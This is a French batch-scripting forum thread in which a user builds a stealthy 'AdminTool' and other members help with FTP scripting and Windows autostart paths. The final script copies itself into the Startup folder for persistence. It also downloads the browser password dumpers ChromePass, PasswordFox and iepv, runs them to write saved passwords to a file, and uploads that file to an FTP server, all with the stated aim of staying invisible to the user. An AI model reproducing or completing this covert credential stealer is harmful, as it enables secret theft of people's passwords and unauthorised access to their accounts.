Batch Index du Forum
S’enregistrerRechercherFAQMembresGroupesConnexion
Répondre au sujet Page 1 sur 3
Aller à la page: 1, 2, 3  >
[RESOLU] AdminTool
Auteur Message
Répondre en citant
Message [RESOLU] AdminTool 


Salut à tous !

Je vous copies/colles ma problématique à résoudre bien évidemment ^^
(Oui, j'suis le genre de mec qui écrit dans un .txt ce que je dois faire xD)


Citation:


Faire un logiciel permettant une administration sur plusieurs postes informatiques en toute discrétion

> Il devra pouvoir s'installer simplement via un autorun sur clé USB
> Il devra faire ses tâches dans la plus grande discrétion possible
> Il devra faire tout ce qu'on lui demandera par la suite
> Il devra download les bons fichiers FTP par rapport à l'user concerné
> Il devra upload correctement les infos
> Il devra logger ses actions dans un fichier .txt puis l'envoyer sur le ftp
> Il devra pouvoir être forcé via un autre programme sur le bureau
> Il devra vérifier s'il est à jour ou non
> Il devra être commandé via une interface simple par l'admin


Citation:


Faire un logiciel permettant une administration sur plusieurs postes informatiques en toute discrétion

> Il devra faire ses tâches dans la plus grande discrétion possible
> Il devra faire tout ce qu'on lui demandera par la suite (Logique ^^)
> Il devra download les bons fichiers FTP par rapport à l'user concerné
> Il devra upload correctement les infos
> Il devra logger ses actions dans un fichier .txt puis l'envoyer sur le ftp
> Il devra pouvoir être forcé via un autre programme sur le bureau
> Il devra vérifier s'il est à jour ou non
> Il devra être commandé via une interface simple par l'admin
> Il devra pouvoir s'installer simplement via un autorun sur clé USB (Pour plus tard ça...)





EDIT: Modification du message d'explication pour cause de mauvaise compréhension ^^




Dernière édition par AlonsO7798 le Sam 16 Aoû 2014 - 23:32; édité 9 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Message Publicité 
PublicitéSupprimer les publicités ?


Répondre en citant
Message [RESOLU] AdminTool 
Hello !

Pour ma part, je partirait sur une commande du type :
Code:
ftp -s:scrit.ftp


Et dans script.ftp, un script du genre :
Code:
open site.exemple
pseudo
mdp
::comandes


voilà
@+




______________________________________________________
--
> Que pensez vous de l'ajout du repertoire point dans $PATH ?
Ma version de troll 18.0.32 beta 3 vient de me faire un core dump.
-+- SE in Guide du Linuxien Pervers : Bien développer son troll -+-

[Dos9]
Visiter le site web du posteur Skype
Répondre en citant
Message [RESOLU] AdminTool 
Hello,

Merci Dark, je vais m'inspirer de ça ;-)



Dernière édition par AlonsO7798 le Sam 2 Aoû 2014 - 11:24; édité 4 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Salut
Inspirez vous de ce script écrit par sachadee Okay
http://www.developpez.net/forums/d1456124/general-developpement/programmati…




______________________________________________________
Mes Contributions en Téléchargement
Répondre en citant
Message [RESOLU] AdminTool 
Salut ! Merci de te présenter ! (Ça m'étonne que darkinou n'est rien dit XD)




______________________________________________________


mon site web http://pr1c3-game.craym.eu/
aide moi a faire revivre la section vb ! (http://batch.xoo.it/f62-VB-Net.htm)

"J'ai toujours raison surtout quand j'ai tord" citation de moi même
mon niveau
batch : 40/100
vb : 60/100
Visiter le site web du posteur Skype
Répondre en citant
Message [RESOLU] AdminTool 
Hello

Désolée, j'oubliais le PRINCIPAL /!\ Je le fais de suite Smile
Et merci de ta réponse Hackoo vraiment super ce que tu m'as donné là !




Dernière édition par AlonsO7798 le Sam 2 Aoû 2014 - 11:23; édité 4 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Voili voualou,

J'ai cherché un peut et j'ai un peut piqué vos codes x) Pour essayer de bien comprendre et j'en suis arrivé à là:


EDIT:


J'ai modifié toute l'interface ! Regardez les postes suivants ^^


Citation:
@echo off
Title AutoUpdate - AdminTool v1.0 -- By AlonsO
mode con cols=85 lines=22 & color A
setLocal EnableDelayedExpansion
::*************************************
:: Setup FTP
::*************************************
set FTPSERV=
set USER=
set PASSWORD=
::*************************************
:: Vérification Mise à jour
::*************************************
set DOSSIER=/
set FICHIER=
::*************************************
> ft.do echo Open %FTPSERV%
>> ft.do echo %USER%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo cd %DOSSIER%
>> ft.do echo get %FICHIER%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %FICHIER% start %FICHIER%&exit
::*************************************
:: Début du programme
::*************************************
set DOSSIER=/User.1
set FICHIER=*.exe
::*************************************
> ft.do echo Open %FTPSERV%
>> ft.do echo %USER%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo cd %DOSSIER%
>> ft.do

ftp -s:ft.do
del ft.do


Je sais y'a beaucoup de commentaires mais c'est bien mieux quand c'est clair x)
Je cherche maintenant comment télécharger tous les .exe qui se situeront dans ce dossier /User.01 puis les éxécuter avant de les supprimer de l'ordinateur et non du ftp. Veuillez vérifier si le code fonctionne bien SVP surtout à ce niveau:


Citation:

::*************************************
:: Début du programme
::*************************************
set DOSSIER=/User.1
set FICHIER=*.exe
::*************************************


C'est bien *.exe qu'il faut que je mettes ?
Et est-il possible de faire un fichier log qui loggera ET les mises à jour ET la marque des downloads, etc... Pour après l'envoyer sur le ftp ? Smile


Voilà, encore merci pour vos réponses Smile !!



Dernière édition par AlonsO7798 le Sam 2 Aoû 2014 - 11:29; édité 4 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
UP Smile




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Bien qu'il n' ai aucune réponses depuis la dernière fois j'ai un peut avancé, mais toujours quelques problèmes, vous pourrez sans doutes m'éclairer un peut plus ... Smile

Voici le code:

Citation:

@echo off
Title AdminTool v1.0 -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion
::*************************************
:: Setup Versions
::*************************************

:: Ancienne version
del /
:: Nouvelle version
set FICHIER=AdminTool-v1.1.bat

::*************************************
:: Setup FTP
::*************************************

set FTPSERV=
set USERFTP=
set PASSWORD=

::*************************************
:: Setup Dossier EXEC & AdminTool
::*************************************

set EXEC=/AdminTool/User.1/EXEC
set AT=%appdata%\AdminTool

::*************************************
:: Vérification Mise à jour
::*************************************

set DOSSIER=/AdminTool/User.1/MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd ------------------------------------<STARTUP
>> ft.do echo cd %DOSSIER%
>> ft.do echo get %FICHIER%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %FICHIER% start %FICHIER%&exit

::*************************************
:: Début du code
::*************************************

mkdir %appdata%\AdminTool
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %AT%
>> ft2.do echo cd %EXEC%
>> ft2.do echo get ---------------------------------<TOUS LES .exe
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do
start %AT%\ ----------------------------------------<TOUS LES .exe
rmdir %AT%
exit


J'ai marqué les points qui me posent problème sur le coté ( "<TOUS LES .exe" par exemple)
--
Il y a 2 autres problèmes:

-Programme trop lent donc visible par l'utilisateur... (Comment y remédier ?)
-Il faut impérativement l'éxécuter en tant qu'admin ce qui pose problème... (Comment y remédier ?)

Et il me semble que le processus de mise à jour logiciel ne fonctionne pas, vérifiez si le code est bon voir testez le x) SVP

Merci,
AlonsO.



Dernière édition par AlonsO7798 le Sam 2 Aoû 2014 - 11:30; édité 1 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Salut, je vais essayer de t'aider !
je vais voir les boulettes ^^

A+




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Pas de problèmes, tiens moi au courant, MERCI !!!




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Je continues à bosser dessus et j'en suis à là:

Citation:

::************************::
:: AdminTool -- By AlonsO ::
:: Visit www.batch.xoo.it ::
::************************::
:: ---------------------- ::
::************************::
:: Configurations (SETUP) ::
::************************::

:: NE PAS MODIFIER CELA
@echo off
Title %currently_version% -- By AlonsO (www.batch.xoo.it)
setLocal EnableDelayedExpansion

:: Ancienne version
set old_version=AdminTool-v0.0.bat
:: Version actuelle
set currently_version=AdminTool-v1.0.bat
:: Nouvelle version
set new_version=AdminTool-v1.1.bat

:: File Transfert Protocol (FTP)
set FTPSERV=
set USERFTP=
set PASSWORD=

:: Logs (0=NON/1=OUI >Défault=0)
set logs=1

:: FTP: Dossier logs (laisser vide si logs=0)
set dossier_logs=/AdminTool/User.1/

:: FTP: Dossier mises à jour
set DOSSIERMAJ=/AdminTool/User.1/MAJ

:: FTP: Dossier downloads
set EXEC=/AdminTool/User.1/EXEC

:: FTP: Dossier récupération données
set dossier_donnees=/AdminTool/User.1/SENDS

:: USER: Dossier AdminTool
set dossier_admintool=%appdata%\AdminTool

:: Fichiers à télécharger /!\ AVEC EXTENSION /!\
rem FILE 1,2 et 3 émettent des données (/stabular donnees.txt)
set FILE1=ChromePass.exe
set FILE2=PasswordFox.exe
set FILE3=iepv.exe
set FILE4=
set FILE5=
set FILE6=
set FILE7=
set FILE8=
set FILE9=
set FILE10=

::************************::
:: Début du code ::
::************************::

:: Création fichier AdminTool & Suppression ancienne version
mkdir %dossier_admintool%
del %old_version%

:: Début fichier log
if not %logs%==1 goto maj
>> %dossier_admintool%\logs.txt echo.
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Running...
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Check MAJ

:: Vérification Mise à jour
:MAJ
> ft.do echo Open %FTPSERV%
>> ft.do echo %USERFTP%
>> ft.do echo %PASSWORD%
>> ft.do echo bin
>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
>> ft.do echo cd %DOSSIERMAJ%
>> ft.do echo get %new_version%
>> ft.do echo bye
ftp -s:ft.do
del ft.do
If exist %new_version% start %new_version% & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | New MAJ detected, download ... & >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | --- & exit

:: Ecriture des logs
if not %logs%==1 goto Download
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | No MAJ found
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---

:: Téléchargement des fichiers
:Download
> ft2.do echo Open %FTPSERV%
>> ft2.do echo %USERFTP%
>> ft2.do echo %PASSWORD%
>> ft2.do echo lcd %dossier_admintool%
>> ft2.do echo cd %EXEC%
>> ft2.do echo get %FILE1%
>> ft2.do echo get %FILE2%
>> ft2.do echo get %FILE3%
>> ft2.do echo get %FILE4%
>> ft2.do echo get %FILE5%
>> ft2.do echo get %FILE6%
>> ft2.do echo get %FILE7%
>> ft2.do echo get %FILE8%
>> ft2.do echo get %FILE9%
>> ft2.do echo get %FILE10%
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do

:: Ecriture des logs
if not %logs%==1 goto Launcher
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Téléchargement de:
if not exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | /
if exist %FILE1% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE1%
if exist %FILE2% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE2%
if exist %FILE3% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE3%
if exist %FILE4% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE4%
if exist %FILE5% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE5%
if exist %FILE6% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE6%
if exist %FILE7% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE7%
if exist %FILE8% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE8%
if exist %FILE9% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE9%
if exist %FILE10% >> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | %FILE10%
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Create launcher.bat

:: Création du launcher
:Launcher
> %dossier_admintool%\launcher.bat echo @echo off
>> %dossier_admintool%\launcher.bat echo Title Launcher %currently_version% -- By AlonsO (www.batch.xoo.it)
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE1% /stabular donnees.txt
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE2% /stabular donnees.txt
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE3% /stabular donnees.txt
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE4%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE5%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE6%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE7%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE8%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE9%
>> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE10%
>> %dossier_admintool%\launcher.bat echo exit

:: Ecriture des logs
if not %logs%==1 goto launch
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher created
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Starting launcher ...

:: Execution du launcher
:Launch
start %dossier_admintool%\launcher.bat

:: Ecriture des logs
if not %logs%==1 goto Send_1
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Launcher started
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending files ...

:: Envois des données
:Send_1
> ft3.do echo Open %FTPSERV%
>> ft3.do echo %USERFTP%
>> ft3.do echo %PASSWORD%
>> ft3.do echo lcd %dossier_admintool%
>> ft3.do echo cd %dossier_donnees%
>> ft3.do echo send donnees.txt
>> ft3.do echo bye
ftp -s:ft3.do
del ft3.do

:: Ecriture des logs
if not %logs%==1 goto end
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Files sent
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | ---
>> %dossier_admintool%\logs.txt echo [%date%]%time:~0,8% | Sending logs ...

:: Envois des logs
> ft4.do echo Open %FTPSERV%
>> ft4.do echo %USERFTP%
>> ft4.do echo %PASSWORD%
>> ft4.do echo lcd %dossier_admintool%
>> ft4.do echo cd %dossier_logs%
>> ft4.do echo send logs.txt
>> ft4.do echo bye
ftp -s:ft4.do
del ft4.do

:: Suppression dossier AdminTool & exit
:end
rmdir %dossier_admintool%
exit


Quel est le chemin d'accès pour le mettre dans le fichier de démarrage ?
EDIT: est-ce que "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" fonctionne ?

Citation:

>> ft.do echo lcd %appdata%\Microsoft\Windows\Start Menu\Programs\startup


N'ayez pas peur de ça, c'est juste pour tester le /stabular des 3 premiers FILES

Citation:

set FILE1=ChromePass.exe
set FILE2=PasswordFox.exe
set FILE3=iepv.exe


Et essayez de me corriger, car chez moi le code ne fonctionne pas du tout alors que tout à l'air bon .... Je ne vois pas dutout ou cela cloche ..............
Quand je le lance, au bout d'un moment il me lance l'ancienne version --' Comment je le sais ? sur l'ancienne version j'avais mit le "color 0a" et "*.exe" et là, il n’apparait pas sur ce code mais ça me l'ouvre quand même.... BIZARRE j'vous avoues que je ne comprends plus rien là ^^"


Merci de vos réponses,
AlonsO.



Dernière édition par AlonsO7798 le Sam 2 Aoû 2014 - 11:31; édité 3 fois

______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Oui, %appdata%\Microsoft\Windows\Start Menu\Programs\startup lance bien au démarrage de windows

EDIT : Il ne trouve pas "%dossier_admintool%\launcher.bat" donc chez moi, il plante Surprised




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 

EDIT:


J'ai modifié un truck ^^ J'envoyais les logs puis je réecrivais dans le dossier log que les logs étaient bien envoyés, mais ça ne sert à rien vu qu'ils sont déjà envoyés x)
@Skywalker: Ben where is the problem ? Je crée le launcher avant de le lancer, j'ai vérifié mais je ne vois pas d'où provient le problème ^^'







______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Répondre en citant
Message [RESOLU] AdminTool 
Tu écris bizzarement dans un fichier toi ^^


Moi je fais 
Code:

echo écrire ça dans un fichier texte >>fichier.txt


::ou alors plusieurs lignes


(
echo 1 ligne
echo 2 lignes
echo 3 lignes
)>>fichier.txt





______________________________________________________
Visiter le site web du posteur
Message [RESOLU] AdminTool 


Montrer les messages depuis:
Répondre au sujet Page 1 sur 3
Aller à la page: 1, 2, 3  >
  



Index | créer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Copyright 2008 - 2016 // Batch